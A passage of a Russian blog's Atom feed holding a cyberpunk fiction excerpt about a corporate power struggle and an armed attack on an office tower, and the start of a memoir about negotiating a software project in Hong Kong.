</content></entry><entry><id>alex0x08:tru-cyberpunk-part-1</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/tru-cyberpunk-part-1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Настоящий киберпанк (отрывок)</title><published>2026-02-26T06:56:40.132Z</published><updated>2026-02-26T06:56:40.132Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/ff/62/ff621fca-30ce-4bcb-ba33-c6c9ff7a53c9.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg&quot;&gt;Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.</summary><content type="html">
  &lt;p id=&quot;Otqm&quot;&gt;Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.&lt;/p&gt;
  &lt;p id=&quot;3xOf&quot;&gt;На основе моих «студенческих работ» по сценарному мастерству.&lt;/p&gt;
  &lt;figure id=&quot;GJUj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;htT4&quot;&gt;На хорошего человека уходит обойма патронов. &lt;/p&gt;
  &lt;p id=&quot;Z5uR&quot;&gt;На плохого — две.   &lt;br /&gt;В меня разрядили четыре...&lt;/p&gt;
  &lt;p id=&quot;PT7F&quot;&gt;Четыре полные обоймы... тридцать шесть маленьких кусочков свинца, наделавших тридцать шесть новых дырок —  серьезные люди не промахиваются. &lt;/p&gt;
  &lt;p id=&quot;FMeL&quot;&gt;Особенно в упор.&lt;/p&gt;
  &lt;p id=&quot;QBL4&quot;&gt;Смешно, мой доктор как-то сказал, что организму не хватает железа.. &lt;/p&gt;
  &lt;p id=&quot;QH7Y&quot;&gt;Ну.. думаю теперь этот вопрос решен  — &lt;strong&gt;столько&lt;/strong&gt; свинцовых пилюль моему бедному организму хватит надолго. &lt;/p&gt;
  &lt;p id=&quot;B7F2&quot;&gt;С запасом. &lt;/p&gt;
  &lt;p id=&quot;ELaG&quot;&gt;Хотя вряди доктор именно эти пилюли имел ввиду.&lt;/p&gt;
  &lt;p id=&quot;UtKi&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;p710&quot;&gt;Теперь вы наверное захотите узнать, кто я вообще такой и почему лежу в позе морской звезды в этой вонючей и темной подворотне. &lt;/p&gt;
  &lt;p id=&quot;30Hz&quot;&gt;В луже собственной крови, которая сейчас медленно перекрашивает мой дорогой костюм. &lt;/p&gt;
  &lt;p id=&quot;aIv5&quot;&gt;Полагаю, еще определенные вопросы вызовет рюкзак, который валяется рядом. Вернее отрубленная голова внутри, с проводами.&lt;/p&gt;
  &lt;p id=&quot;y0wZ&quot;&gt;Ну и наверное будет интересно, какое отношение ко всему этому имеет Надежда Кадышева и ансамбль «Самоцветы».&lt;/p&gt;
  &lt;p id=&quot;Tur8&quot;&gt;Вопросы, вопросы..&lt;/p&gt;
  &lt;p id=&quot;G373&quot;&gt;Неудачно вышло, что тут скажешь.&lt;/p&gt;
  &lt;p id=&quot;PxHQ&quot;&gt;Но хочу сразу сообщить, что ни Надежда Кадышева ни ансамбль не имеют к происходящему никакого отношения.&lt;/p&gt;
  &lt;p id=&quot;bqTz&quot;&gt;Все это совсем не важно. &lt;/p&gt;
  &lt;p id=&quot;SAir&quot;&gt;Важно другое — что за каким-то бесом я до сих пор жив.&lt;/p&gt;
  &lt;p id=&quot;6MKu&quot;&gt;Пусть и не целиком, но жив. &lt;/p&gt;
  &lt;p id=&quot;qfrd&quot;&gt;На очень тонкой грани между живыми мертвыми. Оставить меня вот так — одной ногой в могиле это высший уровень мастерства. &lt;/p&gt;
  &lt;p id=&quot;ZZkT&quot;&gt;Да, вы правильно поняли — мне позволили выжить.&lt;/p&gt;
  &lt;p id=&quot;HaOF&quot;&gt;И тот кто принял это интересное решение —  ни-хре-на не «Святая Дева Мария». Потому что такие святым девам не нужны.&lt;/p&gt;
  &lt;p id=&quot;6PtH&quot;&gt;Ну... очень на это надеюсь.&lt;/p&gt;
  &lt;p id=&quot;o83h&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;pKFD&quot;&gt;Две недели назад&lt;/h2&gt;
  &lt;p id=&quot;le3m&quot;&gt;— Ну что Артем, ты в деле? &lt;/p&gt;
  &lt;p id=&quot;KWvv&quot;&gt;Задавший этот, столь банальный вопрос, русый парень в деловом костюме не производил впечатление опасного или проблемного. Как впрочем и его коллега, сидящий рядом. &lt;/p&gt;
  &lt;p id=&quot;8vCt&quot;&gt;Мы все тогда не были проблемными. &lt;/p&gt;
  &lt;p id=&quot;9jnh&quot;&gt;Сотрудники большой компании — мелкие пчелки в большом улье, следящие за уровнем хозяйского меда. &lt;/p&gt;
  &lt;p id=&quot;I4rw&quot;&gt;Обычный рабочий день в стеклянном офисе шел своим чередом, наступил обеденный перерыв в корпоративной столовой.&lt;/p&gt;
  &lt;p id=&quot;9ewK&quot;&gt;— Не переживай, глава департамента в курсе и нашу инициативу поддержат сверху. Проблем не будет. &lt;/p&gt;
  &lt;p id=&quot;YSoz&quot;&gt;Сидящий рядом с русым грузный армянский мужчина с добрым лицом, сделав глоток кофе и картинно разведя руками продолжил. &lt;/p&gt;
  &lt;p id=&quot;fZvB&quot;&gt;— Пойми, все это не более чем игра. Дань уважения преданному сотруднику, отдавшему не один десяток лет работе на корпорацию. &lt;/p&gt;
  &lt;p id=&quot;2hqO&quot;&gt;— Но чисто между нами: старой крысе давно пора на пенсию. И в руководстве об этом знают.&lt;/p&gt;
  &lt;p id=&quot;HdgU&quot;&gt;— Ты на хорошем счету, даже врать не придется. &lt;/p&gt;
  &lt;p id=&quot;5AQP&quot;&gt;— Достаточно подсветить в докладе проблемные места, отметить упущения и провалы, которых за этим старым чертом немало. Привести факты, перечислить неприятные инциденты. &lt;/p&gt;
  &lt;p id=&quot;9KvM&quot;&gt;— Ну и сослаться на «слабеющие когнитивные возможности» старой мразоты.  Со всем уважением, разумеется.&lt;/p&gt;
  &lt;p id=&quot;nxsD&quot;&gt;В качестве завершения тирады раздался смачный хруст сельдерея.&lt;/p&gt;
  &lt;p id=&quot;hNrO&quot;&gt;— Тот январский сбой помнишь? &lt;/p&gt;
  &lt;p id=&quot;KHt9&quot;&gt;Встревает в разговор русый.&lt;/p&gt;
  &lt;p id=&quot;dflM&quot;&gt;— Два ключевых сегмента корпративной сети сутки лежали. &lt;/p&gt;
  &lt;p id=&quot;XkUB&quot;&gt;— Тестовые стенды, багтрекер, даже мать его корпоративный чат — все накрылось.&lt;/p&gt;
  &lt;p id=&quot;8Td4&quot;&gt;— Мы с Арсеном (кивает на армянина) тогда контракт потеряли, жирный. Оборонку. &lt;/p&gt;
  &lt;p id=&quot;RWTb&quot;&gt;— Не очень приятно когда тебя при подчиненных называет «тупым долбоящером» целый генерал армии, пусть и штабной.&lt;/p&gt;
  &lt;p id=&quot;1DWv&quot;&gt;Арсен дожевав сельдерей продолжает нагнетать: &lt;/p&gt;
  &lt;p id=&quot;pQfh&quot;&gt;— А старой крысе все сошло с рук. &lt;/p&gt;
  &lt;p id=&quot;kPdg&quot;&gt;— «Обновления неудачно поставили», понимаешь. &lt;/p&gt;
  &lt;p id=&quot;P06S&quot;&gt;— Скоты криворукие.&lt;/p&gt;
  &lt;p id=&quot;nlhg&quot;&gt;Соглашается русый.&lt;/p&gt;
  &lt;p id=&quot;Ak13&quot;&gt;— Да просто эта старая гнида с безопасниками уже десяток лет на короткой ноге. &lt;/p&gt;
  &lt;p id=&quot;Bg51&quot;&gt;— Подал руководству все так, будто это он один — герой и защитил компанию от «страшной угрозы извне». &lt;/p&gt;
  &lt;p id=&quot;sSVr&quot;&gt;— Мразота плешивая.&lt;/p&gt;
  &lt;p id=&quot;I9Vx&quot;&gt;— Короче господа, давайте еще раз пройдемся по нашему плану и проговорим ключевые места, чтобы потом не было разногласий.&lt;/p&gt;
  &lt;p id=&quot;3gcX&quot;&gt;Мы еще долго сидели в тот день, обсуждая до мелких деталей хитроумный план, которому так не суждено было воплотиться в жизнь. &lt;/p&gt;
  &lt;p id=&quot;kyg1&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Zxo9&quot;&gt;Неделя назад&lt;/h2&gt;
  &lt;p id=&quot;gref&quot;&gt;Как вообще можно что-то планировать? &lt;/p&gt;
  &lt;p id=&quot;pyiv&quot;&gt;Жизнь это хаос и случайность.&lt;/p&gt;
  &lt;p id=&quot;6Zxr&quot;&gt;Управление рисками? Серьезно?&lt;/p&gt;
  &lt;p id=&quot;MPFG&quot;&gt;Расскажите об этом фаундеру, который пришел показывать свой проект инвесторам в тот замечательный день.&lt;/p&gt;
  &lt;p id=&quot;3Tq3&quot;&gt;Чувак — гений, без дураков, много лет учился, затем работал наемным сотрудником в крупных компаниях. Нашел нишу, собрал команду единомышленников, которая даже успела что-то выпустить.&lt;/p&gt;
  &lt;p id=&quot;kRs3&quot;&gt;И вот настает его час, он встает и выходит на сцену, судорожно включает ноутбук и запускает презентацию свой проекта. &lt;/p&gt;
  &lt;p id=&quot;LK9U&quot;&gt;«Важного для всего человечества», разумеется — ради меньшего такая аудитория не собирается.&lt;/p&gt;
  &lt;p id=&quot;6UAj&quot;&gt;Голос предательски дрожит, несмотря на весь опыт и достижения, фаундер волнуется, его аудитория сегодня — люди из другого социального класса, из другого мира, практически с другой планеты.&lt;/p&gt;
  &lt;p id=&quot;R5ks&quot;&gt;С планеты, где все и всегда хорошо.&lt;/p&gt;
  &lt;p id=&quot;rPLR&quot;&gt;Из сказочного, волшебного мира, в котором всем по#бать на исполнителей — тех кто выносит говно и прибирает за «сильными мира сего».&lt;/p&gt;
  &lt;p id=&quot;oObQ&quot;&gt;Фаундер начинает заготовленную речь. &lt;/p&gt;
  &lt;p id=&quot;5jkT&quot;&gt;Стандартные формулировки и шаблонные заходы, ничего нового. &lt;/p&gt;
  &lt;p id=&quot;xdNV&quot;&gt;Публика начинает откровенно скучать.&lt;/p&gt;
  &lt;p id=&quot;zXb6&quot;&gt;Пресыщенная аудитория отвлекается, начинает тупить в телефоны, мелькают злобные ухмылки, не предвещающие ничего хорошего. &lt;/p&gt;
  &lt;p id=&quot;blav&quot;&gt;Казалось бы судьба очередного стартапа предрешена и очко фаундера вот-вот уйдет в зрительный зал.&lt;/p&gt;
  &lt;p id=&quot;IZmH&quot;&gt;Но высшие силы решили в этот день пошутить.&lt;/p&gt;
  &lt;h2 id=&quot;wJIu&quot;&gt;Тот же день, подземная парковка&lt;/h2&gt;
  &lt;p id=&quot;JdRD&quot;&gt;Самый обычный фургон ремонтной компании, не привлекая лишнего внимания медленно заезжает на подземную парковку корпорации.&lt;/p&gt;
  &lt;p id=&quot;1eT7&quot;&gt;— Помните нашу миссию, парни! &lt;/p&gt;
  &lt;p id=&quot;Vwe3&quot;&gt;— Мы все были рождены ради великой цели!&lt;/p&gt;
  &lt;p id=&quot;kGAA&quot;&gt;— Другого пути нет и создатель благословил нас на великое дело. То, чему суждено произойти сегодня это не конец!  &lt;/p&gt;
  &lt;p id=&quot;Jftr&quot;&gt;— Это великое начало!&lt;/p&gt;
  &lt;p id=&quot;ILJt&quot;&gt;Декламирующая всю эту дичь женщина вызывала уважение. И вполне определенные желания, сексуального толка.&lt;/p&gt;
  &lt;p id=&quot;1SZl&quot;&gt;Но нам, простым работягам все было понятно и так, без ненужных слов и говорящих п#зд.&lt;/p&gt;
  &lt;p id=&quot;GGEb&quot;&gt;Понятно очень давно.&lt;/p&gt;
  &lt;p id=&quot;uYaB&quot;&gt;Корпорация — чистое зло, ее сотрудники — чипированные упыри, творящие эксперименты и опыты над живыми людьми.&lt;/p&gt;
  &lt;p id=&quot;POu9&quot;&gt;Не надо таким жить на свете.&lt;/p&gt;
  &lt;p id=&quot;QBlx&quot;&gt;Рожок патронов для АК-74 скоро станет для них проводником в иной мир. &lt;/p&gt;
  &lt;p id=&quot;ESVm&quot;&gt;Мир мертвых.&lt;/p&gt;
  &lt;p id=&quot;Y0XQ&quot;&gt;Все просто и понятно.&lt;/p&gt;
  &lt;p id=&quot;EHoW&quot;&gt;Особенно когда есть АК-74, патроны и немного «волшебной пыльцы», так ускоряющей мышление.&lt;/p&gt;
  &lt;h2 id=&quot;OGJD&quot;&gt;Тот же день, лифт&lt;/h2&gt;
  &lt;p id=&quot;054K&quot;&gt;Артем, молодой белый мужчина, с высшим образованием, хорошим послужным списком и идеальной биографией.&lt;/p&gt;
  &lt;blockquote id=&quot;MKk5&quot;&gt;Не п#дор, наркоман или мудак, пытающийся сдать в ломбард последний корпоративный гвоздь ради налички для очередной ставки.&lt;/blockquote&gt;
  &lt;p id=&quot;7qRz&quot;&gt;Сейчас он выбрит, надушен и в деловом костюме, что не очень типично для айтишника.&lt;/p&gt;
  &lt;p id=&quot;bOgr&quot;&gt;Артем ведет корпоративную Тойоту аккуратно, не превышая рекомендуемую скорость и соблюдая все правила  — он знает, что сегодня важный день и отчет по поездкам в течение последнего месяца обязательно ляжет на стол руководству.&lt;/p&gt;
  &lt;p id=&quot;WeOR&quot;&gt;Любая мелочь, любое нарушение может стать провалом.&lt;/p&gt;
  &lt;p id=&quot;hJzi&quot;&gt;Припарковавшись на многоуровневой корпоративной стоянке, Артем заходит в лифт, который должен доставить его на 75 этаж головного офиса корпорации, в переговорную. Где его уже ждут.&lt;/p&gt;
  &lt;p id=&quot;dFvW&quot;&gt;Он должен прочитать важный доклад для высшего руководства, способный радикально изменить его жизнь и карьеру.&lt;/p&gt;
  &lt;p id=&quot;2TTU&quot;&gt;Он спокоен и сосредоточен, идет четко к цели и не замечает ничего вокруг. Артем не верит в Бога, не верит в судьбу, не верит в случайности и совпадения. &lt;/p&gt;
  &lt;p id=&quot;G0Pp&quot;&gt;Поэтому когда в лифт вслед за ним влетают пятеро вооруженных людей в масках — все его понимание этого мира рушится.&lt;/p&gt;
  &lt;p id=&quot;32JN&quot;&gt;Окончательно и бесповоротно.&lt;/p&gt;
  &lt;p id=&quot;8pxr&quot;&gt;Последнее что он видит это приклад автоматической винтовки, которым его бьют по голове.&lt;/p&gt;
  &lt;p id=&quot;Dgf9&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;ClRe&quot;&gt;Утро нового дня&lt;/h2&gt;
  &lt;p id=&quot;fz8O&quot;&gt;— На этом все Павел Георгиевич, доклад закончил.&lt;/p&gt;
  &lt;p id=&quot;kOco&quot;&gt;— Свободен.&lt;/p&gt;
  &lt;p id=&quot;WT2k&quot;&gt;Оперативник быстро кланяется и направляется к выходу.&lt;/p&gt;
  &lt;p id=&quot;YAPF&quot;&gt;В помещении темно и накурено, на экране трехмерного проектора остается замерший кадр — последнее что увидела камера: пятеро вооруженных боевиков в масках залетают в кабину лифта. &lt;/p&gt;
  &lt;p id=&quot;rV9j&quot;&gt;Павел Георгиевич достает именной портсигар, вытягивает тонкую, вручную набитую папиросину и задумчиво катает ее между пальцами.&lt;/p&gt;
  &lt;p id=&quot;h997&quot;&gt;Он видел многое за свою долгую жизнь в корпорации, еще больше — на посту тайного агента службы безопасности. &lt;/p&gt;
  &lt;p id=&quot;D31t&quot;&gt;Но всему есть предел и у всего есть конец. &lt;/p&gt;
  &lt;p id=&quot;W4Ua&quot;&gt;И срок службы уважаемого Павла Георгиевича практически подошел к своему логическому концу — с такой работы не увольняют и не отпускают. &lt;/p&gt;
  &lt;p id=&quot;EXhO&quot;&gt;Даже на пенсию.&lt;/p&gt;
  &lt;p id=&quot;7RO7&quot;&gt;— Н-да, вот такие дела. &lt;/p&gt;
  &lt;p id=&quot;9jYG&quot;&gt;— Неожиданно. &lt;/p&gt;
  &lt;p id=&quot;o3vK&quot;&gt;— Неожиданно и неприятно.&lt;/p&gt;
  &lt;p id=&quot;wJNy&quot;&gt;Поворачивается к сидящему рядом сотруднику.&lt;/p&gt;
  &lt;p id=&quot;66bf&quot;&gt;— Ну что, Тимур, ты же хотел повышения?&lt;/p&gt;
  &lt;p id=&quot;nXCm&quot;&gt;Кивает на экран проектора.&lt;/p&gt;
  &lt;p id=&quot;OUQt&quot;&gt;— Вот это он, твой шанс. Жги. &lt;/p&gt;
  &lt;p id=&quot;vAwR&quot;&gt;Тимур — крепкий коренастый азиат, оторвал взгляд от досье Артема Павленко, которое он изучал второй час подряд и посмотрел на своего шефа.&lt;/p&gt;
  &lt;p id=&quot;HbSd&quot;&gt;— К сожалению наши системы безопасности оказались не рассчитаны на идиотов.  &lt;/p&gt;
  &lt;p id=&quot;w4dX&quot;&gt;— А в террористы почему-то других не берут.&lt;/p&gt;
  &lt;p id=&quot;2zhk&quot;&gt;— Ну почему же сразу идиоты? У них есть великая цель, есть идея.&lt;/p&gt;
  &lt;p id=&quot;iSFR&quot;&gt;Павел Георгиевич закончив мусолить папиросину, наконец закуривает.&lt;/p&gt;
  &lt;p id=&quot;XFpc&quot;&gt;— В сущности это лучшие люди, чистые и незамутненные в своей идейной борьбе. Лучше чем мы с тобой.&lt;/p&gt;
  &lt;p id=&quot;UJIJ&quot;&gt;Затягивается и выпускает клуб дыма в потолок.&lt;/p&gt;
  &lt;p id=&quot;Q8s8&quot;&gt;— Ага, незамутненные идиоты. Точно подмечено шеф.&lt;/p&gt;
  &lt;p id=&quot;ecXJ&quot;&gt;Тимур не улавливает сложного юмора руководства, которое так старался подсидеть.&lt;/p&gt;
  &lt;p id=&quot;GGox&quot;&gt;— Ладно, вижу в философских вопросах ты не силен, давай тогда ближе к делу. Оперативная обстановка, план действий, идеи, мысли, замечания — излагай.&lt;/p&gt;
  &lt;p id=&quot;wQCH&quot;&gt;..&lt;/p&gt;

</content></entry><entry><id>alex0x08:one-hundred-percent-recognition</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/one-hundred-percent-recognition?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Стопроцентное распознавание</title><published>2026-02-24T10:51:55.222Z</published><updated>2026-02-24T11:03:00.969Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/92/d0/92d0c6ac-67aa-4bc3-9968-6603d6a1a358.png"></media:thumbnail><category term="project-management" label="project-management"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg&quot;&gt;У истории про «элитный вайбкодинг», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория.</summary><content type="html">
  &lt;p id=&quot;ljgh&quot;&gt;У истории про «&lt;a href=&quot;https://blog.0x08.ru/elite-vibecoding-2026&quot; target=&quot;_blank&quot;&gt;элитный вайбкодинг&lt;/a&gt;», вызвавшей заметный интерес широких айтишных масс, есть не менее интересная предыстория. &lt;/p&gt;
  &lt;p id=&quot;DyNt&quot;&gt;Сейчас расскажу «как Сол Гудман стал таким». &lt;/p&gt;
  &lt;p id=&quot;CwXo&quot;&gt;Проектному управлению посвящается.&lt;/p&gt;
  &lt;figure id=&quot;3VpF&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/e6/81e601e3-2140-4821-9340-485ac87b18c9.jpeg&quot; width=&quot;1154&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;gZfv&quot;&gt;Низвержение в Мальстрем&lt;/h2&gt;
  &lt;p id=&quot;EPO7&quot;&gt;Если никогда не бывали в &lt;a href=&quot;https://en.wikipedia.org/wiki/Hong_Kong&quot; target=&quot;_blank&quot;&gt;Гонконге&lt;/a&gt;, то многое потеряли — это место точно стоит посетить, хотя-бы раз в жизни. &lt;/p&gt;
  &lt;p id=&quot;C1Tr&quot;&gt;Особенно если кино про компьютеры, вроде «&lt;a href=&quot;https://en.wikipedia.org/wiki/Ghost_in_the_Shell_(1995_film)&quot; target=&quot;_blank&quot;&gt;Призрака в доспехах&lt;/a&gt;», «&lt;a href=&quot;https://en.wikipedia.org/wiki/Hackers_(film)&quot; target=&quot;_blank&quot;&gt;Хакеров&lt;/a&gt;» или «&lt;a href=&quot;https://en.wikipedia.org/wiki/Johnny_Mnemonic_(film)&quot; target=&quot;_blank&quot;&gt;Джонни Мнемоника&lt;/a&gt;» для вас что-то значит. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qUOk&quot;&gt;Огромный, футуристический мегаполис, неоновые вывески с иероглифами и бесконечные толпы людей вокруг.. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;mDNO&quot;&gt;Яркие краски и узкие улочки «в тени мегабашен», с гудящими кондиционерами, мелкие лавочки с азиатской едой — именно Гонконгом и его атмосферой вдохновлялись многие известные авторы жанра &lt;a href=&quot;https://en.wikipedia.org/wiki/Cyberpunk&quot; target=&quot;_blank&quot;&gt;киберпанк&lt;/a&gt;. &lt;/p&gt;
  &lt;figure id=&quot;EbiD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7f/ca/7fca03cc-12f6-4384-8776-957ba2a5668b.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Все фото - авторские, снятые в Гонконге и Сингапуре, во времена описываемых событий.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JL7G&quot;&gt;Именно здесь, в одном из маленьких, но очень атмосферных гонконгских баров началась эта печальная история. После которой я наконец перестал пытаться изменить мир и окружающих.&lt;/p&gt;
  &lt;p id=&quot;R17U&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;gyZB&quot;&gt;— Повторяю вопрос: ты точно уверен? &lt;/p&gt;
  &lt;p id=&quot;8t9K&quot;&gt;— Еще можно все отменить, договор не подписан. Можем «дать заднюю» без особых последствий.&lt;/p&gt;
  &lt;p id=&quot;dMd3&quot;&gt;С тогдашним деловым партнером, назовем его Павлом, мы были знакомы еще со студенческих времен. Но бизнес есть бизнес — в нем есть жесткие правила, самое важное из которых: &lt;/p&gt;
  &lt;blockquote id=&quot;UryS&quot;&gt;нам надо зарабатывать деньги.&lt;/blockquote&gt;
  &lt;p id=&quot;Hecl&quot;&gt;Высокая прибыль от проекта легко может быть перекрыта например судебным иском, с требованием возмещения. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;dp97&quot;&gt;Поэтому решение брать ли проект в работу — &lt;strong&gt;всегда&lt;/strong&gt; сложное и зависит от множества факторов, не всегда очевидных обывателю. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;aivm&quot;&gt;Даже если на счетах миллиард, в штате  десяток зубастых юристов, а компания называется &lt;s&gt;EPAM&lt;/s&gt; Accenture.&lt;/p&gt;
  &lt;p id=&quot;J8vR&quot;&gt;— Да-да, уверен. Сколько можно повторять? &lt;/p&gt;
  &lt;p id=&quot;exHu&quot;&gt;— Мистер Лююю Фхенх действительно заинтересован.&lt;/p&gt;
  &lt;p id=&quot;rYsE&quot;&gt;Чуждое для отечественного уха имя было намерено исковеркано. Павел не особо котировал азиатских бизнесменов. &lt;/p&gt;
  &lt;figure id=&quot;OYSi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d9/99/d999092d-1507-4a17-b0b4-165ce23db9da.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Улицы ночного Гонконга.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nlSf&quot;&gt;Несмотря на регулярное деловое общение с ними и многочисленные поездки по странам Азии. &lt;/p&gt;
  &lt;p id=&quot;L4oe&quot;&gt;— Мы его впечатлили, насколько это возможно для азиата. Так что расслабься и насладись наконец победой.&lt;/p&gt;
  &lt;p id=&quot;F9Cb&quot;&gt;Сидели мы, как помню, в уютном, крошечном баре, в самом начале длинной улицы с разнообразными питейными заведениями.&lt;/p&gt;
  &lt;p id=&quot;Ed2K&quot;&gt;Был тихий, спокойный вечер. Даже слишком тихий и спокойный для такого огромного мегаполиса.&lt;/p&gt;
  &lt;p id=&quot;HKWQ&quot;&gt;— Не нравится мне эта история, от слова «совсем». &lt;/p&gt;
  &lt;p id=&quot;ebs9&quot;&gt;— Риски слишком велики. Чужая страна, сложная область, еще и разработка с нуля. &lt;s&gt;Обосремся&lt;/s&gt; Надорвемся.&lt;/p&gt;
  &lt;p id=&quot;gave&quot;&gt;Партнера не удивило такое отношение, все-таки мы были знакомы очень давно.&lt;/p&gt;
  &lt;p id=&quot;93U4&quot;&gt;— Все потому, что ты, мой дорогой друг, плохо учил историю.   &lt;/p&gt;
  &lt;p id=&quot;DmTo&quot;&gt;Мой собеседник сделал изящный пируэт кружкой пива, чему деловой костюм никак не помешал — примерно для этого и существует индивидуальный пошив. Для свободы действий.&lt;/p&gt;
  &lt;p id=&quot;BMtZ&quot;&gt;— Мы с тобой в бывшей английской колонии, колонии европейской цивилизации. А ты между прочим европеец, фактически бывший господин для местных обитателей. &lt;/p&gt;
  &lt;p id=&quot;GNT2&quot;&gt;— Так что больше уверенности.&lt;/p&gt;
  &lt;p id=&quot;TRu8&quot;&gt;Пора было закрывать лавочку, продолжение банкета привело бы к &lt;s&gt;открытию филиала в Денвере&lt;/s&gt; закономерному печальному финалу.  &lt;/p&gt;
  &lt;p id=&quot;MXXv&quot;&gt;Но постебать Павла напоследок я все же не забыл:  &lt;/p&gt;
  &lt;p id=&quot;gYqG&quot;&gt;— Ты в курсе, что славяне за европейцев никогда не считались?&lt;/p&gt;
  &lt;p id=&quot;EGTY&quot;&gt;..&lt;/p&gt;
  &lt;figure id=&quot;YKi9&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/b4/5fb42d0a-2d0e-467c-94e0-d01d84207ff5.jpeg&quot; width=&quot;2560&quot; /&gt;
    &lt;figcaption&gt;Еще немного ночного Гонконга.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Get7&quot;&gt;Понимаю что сейчас — после пандемии, череды войн и мировых кризисов все это кажется невероятной идиотией, но тогда все было иначе.&lt;/p&gt;
  &lt;blockquote id=&quot;ijXh&quot;&gt;Мы действительно видели себя на вершине мира — тихого и спокойного мира, в котором существовали правила. &lt;/blockquote&gt;
  &lt;p id=&quot;4zyA&quot;&gt;Конечно мы ошибались. &lt;/p&gt;
  &lt;p id=&quot;kH0m&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;yMhT&quot;&gt;Утром следующего дня, такси высадило нас у старого офисного здания в деловом центре Гонконга.&lt;/p&gt;
  &lt;p id=&quot;8xLa&quot;&gt;— Добрый день, господа!&lt;/p&gt;
  &lt;p id=&quot;VGiW&quot;&gt;— Мистер Лу скоро будет готов принять вас, подождите пожалуйста здесь.&lt;/p&gt;
  &lt;p id=&quot;VQGf&quot;&gt;— Чай? Кофе?&lt;/p&gt;
  &lt;p id=&quot;MnNh&quot;&gt;Первый признак серьезности для делового человека — его секретарь. &lt;/p&gt;
  &lt;blockquote id=&quot;yDJX&quot;&gt;Не юная миловидная девушка с соблазнительными формами, забывающая надевать лифчик, вовсе нет. &lt;/blockquote&gt;
  &lt;p id=&quot;RHeu&quot;&gt;Такое только для дураков, не имеющих к реальному бизнесу никакого отношения.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;dmvF&quot;&gt;Лютый цербер, с детектором проблемных клиентов, владеющий приемами рукопашного боя и навыками международной дипломатии — вот что такое секретарь серьезного человека.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qSzI&quot;&gt;И одного взгляда на встретившего нас секретаря было достаточно для осознания:&lt;/p&gt;
  &lt;blockquote id=&quot;Rlpe&quot;&gt;достопочтенный мистер Лу Ченг — серьезный бизнесмен, без вопросов и сомнений.&lt;/blockquote&gt;
  &lt;p id=&quot;AXYH&quot;&gt;Нас проводили в небольшую комнату ожидания. &lt;/p&gt;
  &lt;figure id=&quot;ofah&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/07/d3/07d376fd-178d-4c9c-bda5-edf7fc958008.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Это уже Сингапур и сейчас этот район стал раза в два больше.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IJBt&quot;&gt;Пара мягких диванов, столик с рекламными буклетами компании, картины на стенах — ничего примечательного. За исключением пары мелких деталей, дающих понять, что мы все-таки в Азии.&lt;/p&gt;
  &lt;p id=&quot;sAnR&quot;&gt;На одном из диванов уютно расположилась пара весьма занятных персонажей — Боб и Майк, как они позже представились. Классические бриты.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;oTIJ&quot;&gt;«Sales executive» — специалисты по работе с ключевыми клиентами. Из одной очень известной компании с мировым именем.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;kIKH&quot;&gt;Пара — не в том смысле что они были «парой» и делали друг с другом всякое темными ночами. Просто их было двое. &lt;/p&gt;
  &lt;p id=&quot;hVP0&quot;&gt;— Так что парни, чем занимаетесь?&lt;/p&gt;
